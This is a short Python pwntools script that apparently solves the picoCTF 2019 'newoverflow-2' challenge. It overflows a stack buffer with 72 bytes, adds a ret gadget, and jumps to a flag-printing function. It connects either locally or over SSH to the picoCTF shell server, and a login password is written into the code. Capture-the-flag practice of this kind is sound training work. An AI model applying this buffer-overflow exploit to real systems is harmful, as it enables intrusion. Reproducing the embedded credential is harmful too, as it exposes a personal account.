from pwn import *
import sys

offset = 72
ret = 0x4005de
flag = 0x40084d

if sys.argv[1] == "r":
    shell = ssh("mitsu", "2019shell1.picoctf.com", password="hachimitsuki1119")
    shell = shell.run("sh")
    shell.sendline("cd /problems/newoverflow-2_5_13f3d3dc09fc09d6d5db8adfa899a05d")
    shell.sendline("pwd")
    print(shell.recvline(0x100, timeout=3))
    shell.sendline("./vuln")
else:
    shell = process("./vuln")

sleep(5)
payload = b"A" * offset
payload += p64(ret)
payload += p64(flag)
shell.sendline(payload)

print(shell.recv(0x100, timeout=10))

shell.interactive()

